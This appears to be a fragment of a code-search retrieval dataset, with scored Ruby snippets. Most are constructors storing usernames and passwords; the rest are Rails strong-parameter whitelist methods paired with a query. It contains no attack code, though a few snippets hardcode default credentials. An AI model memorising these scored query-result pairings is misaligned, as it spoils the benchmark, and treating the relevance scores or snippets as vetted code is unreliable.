"score": "0.5892717",
"text": "def initialize(host_name, user_name, password)\r\n @@my_connection.connect(host_name)\r\n @@my_connection.login(user_name, password)\r\n @@is_connected = true\r\n end",
"title": ""
},
{
"docid": "0f5ff122ece9e7bf48ad7fbf7102f71c",
"score": "0.58608556",
"text": "def initialize(user_name, password)\r\n @user = user_name\r\n @pass = password\r\n end",
"title": ""
},
{
"docid": "1280d07541f30d8624b270d7cdd39b01",
"score": "0.58550435",
"text": "def initialize(dav_uri = nil, owa_uri = nil, username = nil, password = nil)\r\n owa_uri = nil if owa_uri && owa_uri.blank?\r\n @dav_uri = URI.parse(dav_uri) if dav_uri\r\n @owa_uri = URI.parse(owa_uri) if owa_uri\r\n @dav_use_ssl = @dav_uri.scheme ? (@dav_uri.scheme.downcase == 'https') : false\r\n @user = username || (@dav_uri && @dav_uri.userinfo ? @dav_uri.userinfo.split(':')[0] : nil) || (@owa_uri && @owa_uri.userinfo ? @owa_uri.userinfo.split(':')[0] : nil)\r\n @password = password || (@dav_uri && @dav_uri.userinfo ? @dav_uri.userinfo.split(':')[1] : nil) || (@owa_uri && @owa_uri.userinfo ? @owa_uri.userinfo.split(':')[1] : nil)\r\n @dav_port = (@dav_uri.port || @dav_uri.default_port) if @dav_uri\r\n @owa_port = (@owa_uri.port || @owa_uri.default_port) if @owa_uri\r\n if block_given?\r\n yield self\r\n else\r\n return self\r\n end\r\n end",
"title": ""
},
{
"docid": "6707d2d7a9ad51c5c18b79b6b3dc50e8",
"score": "0.58540875",
"text": "def initialize(username, password)\n\t@username, @password = username, password\nend",
"title": ""
},
{
"docid": "9487a93d3a04527a64cbc124b106f379",
"score": "0.5833948",
"text": "def initialize( aUser=nil, aPassword=nil )\n @user= aUser\n @password= aPassword\n\n @guid=nil # returned from authenticate\n @athletes=nil\n @personID=nil # needed for lots of calls\n end",
"title": ""
},
{
"docid": "7f77c68a001d43a37bfa2b4e2fe2841a",
"score": "0.58211136",
"text": "def initialize(u,p)\n\t\t@username = u\n\t\t@password = p\n\t\t@fetcher = HTTParty\n\tend",
"title": ""
},
{
"docid": "528d423db9b2da005e454a370b3a701b",
"score": "0.58173317",
"text": "def initialize(username, password)\n @username = username # instance variabble \n @password = password\n end",
"title": ""
},
{
"docid": "493994acba8390e5fff21ce9abb8f7df",
"score": "0.58138114",
"text": "def initialize(storeuri, username=nil, password=nil, client = HTTPClient.new() )\n @storeuri = storeuri.chomp(\"/\")\n @name = storeuri.split(\"/\").last\n @username = username\n @password = password\n @client = client\n set_credentials(username, password) if username or password\n end",
"title": ""
},
{
"docid": "65a5d9d0ce0ffff3ac468e95709d5a90",
"score": "0.57994735",
"text": "def initialize(host, *options)\n options = options.to_options_hash\n user_and_hostname = get_host_and_user(host, options)\n initialize_options(options.merge(user_and_hostname))\n end",
"title": ""
},
{
"docid": "e758a7421e6919035438ba145a1ee7fe",
"score": "0.5792787",
"text": "def initialize(username, password)\n @username = username\n @password = password\n end",
"title": ""
},
{
"docid": "e758a7421e6919035438ba145a1ee7fe",
"score": "0.5792787",
"text": "def initialize(username, password)\n @username = username\n @password = password\n end",
"title": ""
},
{
"docid": "082c370602d26bf40e5940ee6272f252",
"score": "0.5791837",
"text": "def initialize(user, hostname, port = 22)\n @user = user\n @hostname = hostname\n @port = port\n end",
"title": ""
},
{
"docid": "c42adf317344a85cfd15a036b246f2ce",
"score": "0.57718426",
"text": "def initialize( domain_name, host, attributes={}, &block )\n\t\traise Arborist::NodeError, \"no host given\" unless host.is_a?( Arborist::Node::Host )\n\n\t\tidentifier = \"%s-domain\" % [ domain_name.gsub(/\\W+/, '-') ]\n\t\tattributes[ :name ] = domain_name\n\t\tattributes[ :category ] = 'dnsdomain'\n\n\t\tsuper( identifier, host, attributes, &block )\n\tend",
"title": ""
},
{
"docid": "1cbc102313b6abf06e434ac40abdee1b",
"score": "0.57702565",
"text": "def initialize\n @server = Monsove.config.server\n @username = Monsove.config.username\n @ssh_key = Monsove.config.ssh_key\n end",
"title": ""
},
{
"docid": "57249b2155c472d49c4f184768083562",
"score": "0.57644284",
"text": "def initialize(domain)\n self.domain = domain\n end",
"title": ""
},
{
"docid": "65c17a46944fc02422337e685ee6d9d3",
"score": "0.5760118",
"text": "def initialize(host, user, pass)\n self.class.base_uri host\n self.class.basic_auth user, pass\n self.class.format :json\n end",
"title": ""
},
{
"docid": "86f306686392a7fcceddc83e53257ecc",
"score": "0.5753513",
"text": "def initialize(username, password)\n @username = username # it's instance variable (different values for each object instance.)\n @password = password\n end",
"title": ""
},
{
"docid": "18590ad1d3a23e2c9684717e8c323f41",
"score": "0.5751689",
"text": "def initialize(user)\n @user = user\n @hostgrp = 'ALL'\n @runas = 'ALL'\n @cmd = 'ALL'\n \n # Allow chaining of methods\n self\n end",
"title": ""
},
{
"docid": "1f847975fddb059dfa62322ccfa00833",
"score": "0.57472754",
"text": "def initialize(hostname, username, options = {})\n @hostname = hostname\n @username = username\n @options = options\n super()\n end",
"title": ""
},
{
"docid": "5ec1f0f869ee1c3a6e7efffbcb09b757",
"score": "0.574212",
"text": "def initialize( aUser=nil, aPassword=nil )\n @user= aUser\n @password= aPassword\n \n @guid=nil # returned from authenticate\n @athletes=nil\n @personID=nil # needed for lots of calls\n end",
"title": ""
},
{
"docid": "81d424ba1b1c13115da1fef7e457e22e",
"score": "0.57324576",
"text": "def initialize(host)\n @host = host\n end",
"title": ""
},
{
"docid": "9645fc2b07585c2ad8f4866f366ccd9f",
"score": "0.57300085",
"text": "def initialize(username, password, base_url)\n self.username = username\n self.password = password\n self.base_url = base_url\n end",
"title": ""
},
{
"docid": "db316e81e6b0185d24b4623ba15816d9",
"score": "0.57275045",
"text": "def open(host, user = nil, password = nil)\n @ldap = Net::LDAP.new\n @ldap.host = host\n @ldap.port = 389\n @ldap.auth(user, password)\n @ldap.bind\n end",
"title": ""
},
{
"docid": "ade3e00987f3d618646f7a7545f6820b",
"score": "0.5727472",
"text": "def initialize(host, database, file = nil)\n super(file)\n @host = host\n @database = database\n @port = hosts.dig @host, :port\n @user_name = params&.dig :db_user, :name\n @user_password = params&.dig :db_user, :password\n @session_user = params&.fetch :sp_user, nil\n @saved = known? ? true : false\n end",
"title": ""
},
{
"docid": "76b1828895c727b5c9db1f84d1312ce4",
"score": "0.5719111",
"text": "def initialize(username,password)\n @username = username\n @password=password\n #dummy initialization for testing purposes\n $users[\"rpurvis\"]=\"unicorns\"\n end",
"title": ""
},
{
"docid": "e035787d9570ef332e6c3c927e46c82d",
"score": "0.571258",
"text": "def initialize\n @bus = DBus::SystemBus.instance\n @avahi = @bus.service(DBUS_NAME)\n @server = @avahi.object(DBUS_PATH_SERVER)\n @server.default_iface = DBUS_INTERFACE_SERVER\n @server.introspect\n\n @group = @avahi.object(@server.EntryGroupNew()[0])\n @group.default_iface = 'org.freedesktop.Avahi.EntryGroup'\n @group.introspect\n end",
"title": ""
},
{
"docid": "c08c5f2836eec95acc81df2494ea5833",
"score": "0.57092446",
"text": "def initialize(username, password)\n @username = username\n @password = password\n end",
"title": ""
},
{
"docid": "c08c5f2836eec95acc81df2494ea5833",
"score": "0.57092446",
"text": "def initialize(username, password)\n @username = username\n @password = password\n end",
"title": ""
},
{
"docid": "c08c5f2836eec95acc81df2494ea5833",
"score": "0.57092446",
"text": "def initialize(username, password)\n @username = username\n @password = password\n end",
"title": ""
},
{
"docid": "c08c5f2836eec95acc81df2494ea5833",
"score": "0.57092446",
"text": "def initialize(username, password)\n @username = username\n @password = password\n end",
"title": ""
},
{
"docid": "c08c5f2836eec95acc81df2494ea5833",
"score": "0.57092446",
"text": "def initialize(username, password)\n @username = username\n @password = password\n end",
"title": ""
},
{
"docid": "0373c3a33e2b29afcdb5a49644a089b3",
"score": "0.5704886",
"text": "def initialize(usr = nil, pwd = nil)\n @usr, @pwd = usr, pwd\n end",
"title": ""
},
{
"docid": "4b29c7ad558d00c61745e41d1cfaf40c",
"score": "0.5703675",
"text": "def initialize(user, password)\n @user = user\n @password = password\n end",
"title": ""
},
{
"docid": "4b29c7ad558d00c61745e41d1cfaf40c",
"score": "0.5703675",
"text": "def initialize(user, password)\n @user = user\n @password = password\n end",
"title": ""
},
{
"docid": "237bcb8b8c9c4c930d88ad8ad49bbb3e",
"score": "0.5687863",
"text": "def initialize uri_root, username, password, ou, config, language, format\n # Set up our instance members from the supplied parameters\n @uri_root = uri_root\n @creds = {\"username\" => username, \"password\" => password}\n @ou = ou\n @config = config\n @language = language\n @format = format\n end",
"title": ""
},
{
"docid": "39bc97b695cb46f251fc2064a5722553",
"score": "0.56868786",
"text": "def initialize(host, user, options)\n @host = host\n @user = user\n @options = options\n end",
"title": ""
},
{
"docid": "f18a3d4214e7a6aabc66d04047e99591",
"score": "0.56843466",
"text": "def initialize(domain)\n @domain = domain\n\n if raw_domain_info.include?('is not exists') || raw_domain_info.include?('cannot be registered')\n @free = true\n else\n @free = false\n domain_info = raw_domain_info.split(\"\\n\")\n @nameservers = domain_info[3].sub('Name Servers:', '').strip.split(',')\n @organization = domain_info[16].sub('Organisation:', '').strip\n @name = domain_info[17].sub('Name:', '').strip\n @address = domain_info[19..23].join(\"\\n\").strip\n @phone = domain_info[12].sub('Voice phone:', '').strip\n @fax = domain_info[13].sub('Fax:', '').strip\n @email = domain_info[11].sub('Email:', '').strip\n end\n end",
"title": ""
},
{
"docid": "ed4e0afef7b7c3a618b8720f34e4a3c5",
"score": "0.56831974",
"text": "def initialize(username:, password:)\n @username = username\n @password = password\n end",
"title": ""
},
{
"docid": "7dab8db1a7f2b69e587fa6f32091cad0",
"score": "0.5672364",
"text": "def initialize()\n @name = Settings.get[\"acs\"][\"name\"]\n @username = Settings.get[\"acs\"][\"username\"]\n @password = Settings.get[\"acs\"][\"password\"]\n @firmware_prefix = Settings.get[\"acs\"][\"firmware_prefix\"]\n @default_model = Settings.get[\"acs\"][\"default_model\"]\n end",
"title": ""
},
{
"docid": "c068e1a3d5911916517f33e1dd0aff38",
"score": "0.5664825",
"text": "def initialize(login, password)\n @login = login\n @password = password\n\n # Tablica z nickami uzytkownikow, ktorych wiadomosci zawieraly slowo 'anonim'\n @users = []\n\n # Przechowuje glowny zasob\n @blip = RestClient::Resource.new 'http://api.blip.pl', :user => @login, :password => @password, :accept => 'application/json', :headers => {:blip_api => 0.02}\n\n # Przechowuje poszczegolne zasoby\n @resources = {\n :dashboard => @blip['/dashboard'],\n :tag => @blip['/tags/anonim'],\n :bliposphere => @blip['/bliposphere']}\n\n # Sprawdza poprawnosc loginu i hasla\n @blip['/dashboard?limit=1'].get :accept => 'application/json'\n end",
"title": ""
},
{
"docid": "d33e4e6192751d10a1a5ebe3941182e5",
"score": "0.56602156",
"text": "def initialize(params)\n\t\t@login = params[:login] || \"www-data\"\n\t\t@pass = params[:pass] || \"\"\n\t\t@host = params[:host] || \"localhost\"\n\t\t@name = params[:name] || raise(ArgumentError, \"database name required!\")\n\n\t\t#create a blank settings object.\n\t\t@settings = {}\n\t\t#allow one to pass the root and tabledir settings directly into the constructor.\n\t\t@settings[:root] = params[:root] ? params[:root] : Dir.pwd\n\t\t@settings[:tabledir] = File.join(@settings[:root], (params[:tabledir] ? params[:tabledir] : \"/tables\"))\n\n\t\t#hashsalt data\n\t\t@settings[:hashsalt] = params[:hashsalt] || \"basie\"\n\t\t@settings[:hashlen] = params[:hashlen] || 12\n\n\t\t#create a blank tables object.\n\t\t@tables = {}\n\tend",
"title": ""
},
{
"docid": "c46ce244b675480f4394f01c0d668ace",
"score": "0.56546897",
"text": "def initialize(user, pass, validate_ssl = false)\n @username = user\n @password = pass\n @validate_ssl = validate_ssl\n end",
"title": ""
},
{
"docid": "65cfa0255e91ed9dc60b1bdc95014f1b",
"score": "0.5654364",
"text": "def initialize(host)\n @host = host\n end",
"title": ""
},
{
"docid": "65cfa0255e91ed9dc60b1bdc95014f1b",
"score": "0.5654364",
"text": "def initialize(host)\n @host = host\n end",
"title": ""
},
{
"docid": "c4d8c1be74a4220b31c16aaa5f48b227",
"score": "0.5652707",
"text": "def initialize(user)\n @id = user.id\n @name = user.name\n if user.email_address\n @account, @server = user.email_address.split(\"@\")\n else\n @account = @server = \"unknown\"\n end\n @nick = irc_name user.name\n @idle = false\n @admin = user.admin\n end",
"title": ""
},
{
"docid": "e883a9758a08bc15005bae9100d13608",
"score": "0.5651233",
"text": "def initialize(username,password)\n @username = username\n @password = password\n @files = {}\n @@users[username] = password\n end",
"title": ""
},
{
"docid": "0c0a4b14276363dddf8f81306b535037",
"score": "0.56496316",
"text": "def initialize(host, use_ssl = false, username = nil, password = nil)\n @host = host\n @use_ssl = use_ssl\n @base_url = \"http#{\"s\" if @use_ssl}://#{@host}/v2/\"\n @username = username\n @password = password\n end",
"title": ""
},
{
"docid": "5e3f1ad59d7fe6d90507d29dadbcd182",
"score": "0.5635063",
"text": "def initialize(user, pass)\r\n self.class.basic_auth user, pass\r\n end",
"title": ""
},
{
"docid": "e6bbe2af091f96337f53911845abaa35",
"score": "0.56342083",
"text": "def initialize(address = 'unifi', username = 'ubnt', password = 'ubnt')\n self.address = address\n self.username = username\n self.password = password\n self.csrf = nil\n self.token = nil\n \n endpoint = \"https://#{self.address}/api/system\"\n \n call_api(endpoint, 'GET')\n login \n end",
"title": ""
},
{
"docid": "7af76302847b0c22b6d045a4fa394fb0",
"score": "0.5624815",
"text": "def initialize(clientid, secret, host)\n\t\t\traise Errors::ArgumentError, \n\t\t\t\t\"Invalid argument provided\" if ( Utils.is_blank?(clientid) || \n\t\t\t\t\t\tUtils.is_blank?(secret) || Utils.is_blank?(host) )\n\t\t\t@clientid = \"#{clientid}\"\n\t\t\t@secret = \"#{secret}\"\n\t\t\tif 0 == (/https:\\/\\// =~ host)\n\t\t\t\t\t@host = \"#{host}\"\n\t\t\telse @host = \"https://#{host}\"\n\t\t\tend\t\n\t\t\t@access_token = nil\n\t\t\t@http_connection = Connection.new\n\t\tend",
"title": ""
},
{
"docid": "5df70a1f14bd27ad6aca4c199c25c3cb",
"score": "0.5612315",
"text": "def initialize(args)\n @server = args.fetch(:server, '')\n @headers = args.fetch(:headers, { \"Accept\" => \"*/*\", \"Content-Type\" => \"text/plain\", \"Accept-Encoding\" => \"gzip, deflate\", \"Accept-Language\" => \"en-us\" })\n @userpwd = \"#{args.fetch(:user, '')}:#{args.fetch(:password, '')}\"\n end",
"title": ""
},
{
"docid": "45f2756ee382e12eb50eb6be102e1b27",
"score": "0.56086886",
"text": "def initialize(first_name,last_name,username,email,password)\n @first_name = first_name\n @last_name = last_name\n @username = username\n @email = email\n @password = password\n end",
"title": ""
},
{
"docid": "b821a8b43d860a3abfdfb013e8cc4f5c",
"score": "0.5607321",
"text": "def initialize(remote_host: nil, username: nil, full_name: nil, auth_token: nil)\n @remote_host = remote_host\n @username = username\n @full_name = full_name\n @auth_token = auth_token\n end",
"title": ""
},
{
"docid": "18d8c8ad64f4449c82dde356c6bf7239",
"score": "0.5607244",
"text": "def initialize(domain)\n @domain = domain\n end",
"title": ""
},
{
"docid": "3b171527c23c822b8c5a88a445102656",
"score": "0.56068027",
"text": "def initialize(host, use_ssl = false, username = nil, password = nil)\n @host = host\n @use_ssl = use_ssl\n @base_url = \"http#{\"s\" if @use_ssl}://#{@host}/v2/\"\n @username = username || \"portus\"\n @password = password || Rails.application.secrets.portus_password\n end",
"title": ""
},
{
"docid": "d434f882f20dfaaed0b216d321fae3a6",
"score": "0.5602781",
"text": "def initialize(host, port, user, password, root_path = '/', logger = StdoutLogger)\n\t\t\t@host = host\n\t\t\t@port = port\n\t\t\t@user = user\n\t\t\t@password = password\n\t\t\t@root_path = root_path\n\t\t\t\n\t\t\tinitialize_connection\n\t\tend",
"title": ""
},
{
"docid": "03dff5519164fe8fa8bf8dc673abcf96",
"score": "0.55956495",
"text": "def initialize\n @auth = {:username => \"[email protected]\", :password => \"test\"}\n end",
"title": ""
},
{
"docid": "6e2419227feddc6da00ab96f8172236b",
"score": "0.55937",
"text": "def initialize(username, password, req_path, server, port)\n @auth = {username: username, password: password }\n @host = \"https://\" + server + \":\" + port\n @req_path = req_path\n end",
"title": ""
},
{
"docid": "af73b50417ecae453bc0bdb1ef78f9fc",
"score": "0.5590367",
"text": "def initialize(domain, nameservers: :default)\n @domain = domain\n @nameservers = nameservers\n end",
"title": ""
},
{
"docid": "289c12904a8ea4082d0b1a13ea9dc51f",
"score": "0.55891395",
"text": "def initialize(site, format = ActiveResource::Formats[:xml])\n raise ArgumentError, 'Missing site URI' unless site\n @user = @password = nil\n self.site = site\n self.format = format\n end",
"title": ""
},
{
"docid": "1d67100951668c139a8fca1056e567d3",
"score": "0.5587241",
"text": "def initialize(firstname, lastname, username, email, password)\n @first_name = firstname\n @last_name = lastname\n @username = username\n @email = email\n @password = password\n end",
"title": ""
},
{
"docid": "1d67100951668c139a8fca1056e567d3",
"score": "0.5587241",
"text": "def initialize(firstname, lastname, username, email, password)\n @first_name = firstname\n @last_name = lastname\n @username = username\n @email = email\n @password = password\n end",
"title": ""
},
{
"docid": "1d67100951668c139a8fca1056e567d3",
"score": "0.5587241",
"text": "def initialize(firstname, lastname, username, email, password)\n @first_name = firstname\n @last_name = lastname\n @username = username\n @email = email\n @password = password\n end",
"title": ""
},
{
"docid": "1d67100951668c139a8fca1056e567d3",
"score": "0.5587241",
"text": "def initialize(firstname, lastname, username, email, password)\n @first_name = firstname\n @last_name = lastname\n @username = username\n @email = email\n @password = password\n end",
"title": ""
},
{
"docid": "1d67100951668c139a8fca1056e567d3",
"score": "0.5587241",
"text": "def initialize(firstname, lastname, username, email, password)\n @first_name = firstname\n @last_name = lastname\n @username = username\n @email = email\n @password = password\n end",
"title": ""
},
{
"docid": "9c3baf629739026897b4ec94409faff9",
"score": "0.5580838",
"text": "def initialize(username = BingoDisk.username, password = BingoDisk.password)\n unless block_given?\n raise ArgumentError.new(\"No block given\")\n end\n \n @username, @password = BingoDisk.make_username(username), password\n \n @uri = URI.parse(BingoDisk.make_host(username))\n Net::HTTP.start(@uri.host) do |http|\n @http = http\n @res = http.head(@uri.request_uri)\n yield self\n end\n end",
"title": ""
},
{
"docid": "b453facdb0da033092b14cc8ef7ef78b",
"score": "0.55802655",
"text": "def initialize(host = \"localhost\", port = 8194)\n @session_options = Bberg::Native::SessionOptions.new\n @session_options.setServerHost(host)\n @session_options.setServerPort(port)\n @mutex = Mutex.new\n end",
"title": ""
},
{
"docid": "51d5679fca7c3db9eea57a002ed947a6",
"score": "0.5578134",
"text": "def initialize(username, password)\n @username = username\n @password = password\n @agent = Mechanize.new\n @logged_in = false\n @last_login_time = nil\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "08b538e780adc71842eb64cbe8bc5551",
"score": "0.0",
"text": "def portfolio_params\n #Map the number to the real property name\n params.require(:portfolio).permit(:tickers, :name, :description)\n end",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
